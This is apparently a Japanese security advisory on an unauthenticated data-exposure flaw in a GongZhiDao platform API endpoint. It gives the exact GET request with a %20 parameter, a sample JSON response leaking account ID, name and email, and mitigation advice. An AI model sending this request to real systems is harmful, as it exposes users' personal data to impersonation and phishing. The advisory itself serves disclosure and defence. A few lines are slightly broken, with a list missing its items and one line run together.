GongZhiDao システムは、GongZhiDao によって開発されたプラットフォームです。ユーザー管理、データ分析、運用機能などのエンタープライズ向けソリューションを提供します。しかし、適切な認可なしに機密ユーザー情報が露呈する可能性があるセキュリティ脆弱性が、あるAPIエンドポイントで発見されました。
GongZhiDao システムの /oaa/api/AccountMaster/GetCurrentUserInfo API エンドポイントに脆弱性が存在します。UserNameOrPhoneNumber パラメータの代わりに %20(URLエンコードされたスペース)を渡すと、適切な認証や認可がなくても、API がアカウントID、ユーザー名、メールアドレスなどの機密ユーザー情報を応答します。この不適切な入力検証により、攻撃者は不正に機密データにアクセスできます。
この脆弱性が悪用されると、以下の機密ユーザーデータが露呈する可能性があります。
攻撃者はこの情報を利用して、なりすましやフィッシングなどのさらなる攻撃を仕掛ける可能性があります。
脆弱性を悪用するには、攻撃者は対象の脆弱なAPIエンドポイントに細工したHTTP GETリクエストを送信する必要があります。
GET /oaa/api/AccountMaster/GetCurrentUserInfo?UserNameOrPhoneNumber=%20 HTTP/2
このリクエストは、機密ユーザーデータをJSON形式で含む200 OKレスポンスを返します。
HTTP/2 200 OK
Date: Tue, 10 Sep 2024 03:25:09 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 153
Server: nginx/1.22.0
X-Powered-By: ASP.NET
Set-Cookie: Path=/; HttpOnly; Secure
{"accountId":"09c05434-e1ff-4436-b1b0-01215e48b274","name":"John","phoneNumber":null,"userName":"19999999999","email1":"[email protected]"}
/oaa/api/AccountMaster/GetCurrentUserInfoUserNameOrPhoneNumber に %20 を入力適切な入力検証の実装: UserNameOrPhoneNumber パラメータが適切にサニタイズされ、検証されるようにします。%20 のような入力は拒否する必要があります。
認可チェック: 認証され、許可されたユーザーのみが機密情報にアクセスできるように、適切な認可メカニズムを実装します。
レート制限と監視: APIエンドポイントにレート制限を適用してブルートフォースや自動化攻撃を防ぎ、APIアクティビティを監視して異常なアクセスパターンを検出します。
この脆弱性は hithub によって発見されました。